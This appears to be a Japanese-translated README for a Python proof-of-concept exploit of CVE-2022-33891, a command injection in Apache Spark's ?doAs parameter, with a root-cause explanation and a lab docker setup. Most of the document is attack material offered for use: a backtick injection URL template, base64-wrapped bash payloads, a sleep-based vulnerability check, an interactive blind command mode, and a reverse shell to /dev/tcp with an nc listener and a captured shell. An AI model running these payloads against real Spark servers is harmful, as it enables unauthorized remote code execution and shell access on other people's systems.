
Apache Spark Shell コマンドインジェクションの脆弱性
Apache Spark シェルコマンドインジェクションの脆弱性
Apache Spark シェルコマンドインジェクション脆弱性を悪用するための Python POC。他の POC もいくつか見かけましたが、それらは非常に怪しいものでした。これはクリーンでシンプルです。
私はこのエクスプロイト/脆弱性を発見したわけではありません。コミュニティのために安全な POC を作りたかっただけです ^.^
CVE は Databricks の Kostya Kortchinsky 氏によって発見されました。
更新 2022/9/7: あら、これ用の Metasploit モジュールができてる! h00die-gr3y によって作られ、マージされました!
Apache Spark バージョン 3.0.3 以前、バージョン 3.1.1~3.1.2、およびバージョン 3.2.0~3.2.1
http://localhost:8080/?doAs=`[コマンドインジェクションここ]`
例
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`
... 10秒間スリープします
脆弱なバージョンの Spark が必要で、設定オプションを1つ変更する必要があります。
$ pip3 install -r requirements.txtspark/ ディレクトリに移動します。spark/ ディレクトリ内の提供された docker-compose.yml を使用して docker-compose up を実行します。コンテナが起動するのを待ちます。sudo docker exec -it spark_spark_1 /bin/bash を入力します。echo "spark.acls.enable true" >> conf/spark-defaults.confdocker-compose up を再実行します。┌──(kali㉿kali)-[~/Desktop]
└─$ python3 poc.py -h
usage: poc.py [-h] -u URL -p PORT [--revshell]
[-lh LISTENINGHOST] [-lp LISTENINGPORT]
[--check] [--verbose]
CVE-2022-33891 Python POC Exploit Script
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL URL to exploit.
-p PORT, --port PORT Exploit target's port.
--revshell Reverse Shell option.
-lh LISTENINGHOST, --listeninghost LISTENINGHOST
Your listening host IP address.
-lp LISTENINGPORT, --listeningport LISTENINGPORT
Your listening host port.
--check Checks if the target is
exploitable with a sleep test
--verbose Verbose mode
ターゲットが脆弱かどうかを確認する:
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --check --verbose
[*] Attempting to connect to site...
[*] URL request: http://localhost:8080/?doAs='testing'
[*] Response status code: 403
[!] Performing sleep test of 10 seconds...
[*] T1: 2022-07-22 10:47:48.406996
[*] Command is: sleep 10
[*] Base64 command is: c2xlZXAgMTA=
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
[*] Sending exploit...
[*] Response status code: 403
[*] Hint: 403 is good.
[*] T2: 2022-07-22 10:47:58.425108
[*] Delta T: 10
[+] Sleep was 10 seconds! This target is probably vulnerable!
コマンドプロンプトループでコマンドを発行する:
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --verbose
[*] "Interactive" mode!
[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.
[cve-2022-33891> sleep 5
[*] Command is: sleep 5
[*] Base64 command is: c2xlZXAgNQ==
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
[*] Sending exploit...
[*] Response status code: 403
[*] Hint: 403 is good.
[cve-2022-33891>
リバースシェルを実行する:
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 10.10.1.237 -lp 9001 --verbose
[*] Reverse shell mode.
[*] Set up your listener by entering the following:
nc -nvlp 9001
[*] When your listener is set up, press enter!
[*] Command is: sh -i >& /dev/tcp/10.10.1.237/9001 0>&1
[*] Base64 command is: c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMS4yMzcvOTAwMSAwPiYx
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMS4yMzcvOTAwMSAwPiYx | base64 -d | bash`
[*] Sending exploit...
...[別のターミナルで]...
husky@dev-kde:~/Desktop/cve-2022-33891$ nc -nvlp 9001
Listening on 0.0.0.0 9001
Connection received on 172.19.0.2 52136
sh: 0: can't access tty; job control turned off
$ whoami
spark
$ echo "hackerman"
hackerman
$
コマンドインジェクションは、Spark が ?doAs パラメータで渡されたユーザーのグループメンバーシップを、生のLinuxコマンドを使用してチェックするために発生します。Bash の展開がコマンドを実行し、その出力を id フィールドに送り、結果のユーザーを検索しようとします。
which python を ?doAs= の値として渡すと、トレースバックで次の結果が生成されます:
...
http://localhost:8080/?doAs=`which%20python`
...
spark_1 | 22/07/22 15:15:57 INFO Utils: id: '/opt/bitnami/python/bin/python': no such user
spark_1 | 22/07/22 15:15:57 ERROR Utils: Process List(bash, -c, id -Gn `which python`) exited with code 1:
spark_1 | 22/07/22 15:15:57 ERROR Utils: Error getting groups for user=`which python`
ここで、Java は指定されたユーザーのグループメンバーシップをチェックするために、id コマンドを bash -c に渡すのが最善と判断しました。問題は、これによりコマンドインジェクションも可能になることです。Bash の展開は与えられたコマンドを評価し、その結果をこの出力の1行目に表示し、コマンドの標準出力によってユーザーを検索しようとします。
/opt/bitnami/python/bin/python という名前のユーザーはいませんが、コマンドが Bash に渡され実行されたことは確かです。
パッチ適用済みのバージョンでは、この呼び出しをパラメータ化し、bash -c id ではなく /bin/id コマンドへのフルパスを使用するようにしています。
コマンド実行中にページに何も反映されないため、これはブラインドOSインジェクションであることに注意してください。コマンドは実行されますが、成功したかどうか、またはターゲット上で実行しているプログラムが存在するかどうかの兆候はありません。例えば、このリポジトリの docker-compose.yml で起動するコンテナには ping がないため、pingback によるコマンドインジェクションの確認は機能しません。しかし、そのことを知らなければ、それが機能したかどうか疑問に思うことになるでしょう。
スリープテストは安全な方法です ^.^
私はこれを OPSEC セーフにするためにまったくサイクルを費やしていません。レッドチームの方々、それはあなた方次第です。
この POC にはパッシブな列挙機能はありません。このエクスプロイトはブラインドコマンドインジェクションです。このスクリプトをターゲットに対して使用する場合、パケットを送信することになります。--check パラメータを使用してターゲットが脆弱であると確認した場合でも、脆弱性を証明するために積極的にエクスプロイトしていることになります。
テストに敏感な本番システムでは使用しないでください。許可なくターゲットに対して使用しないでください。このスクリプトの使用方法について、私は一切の責任を負いません。
ライセンスを確認してください。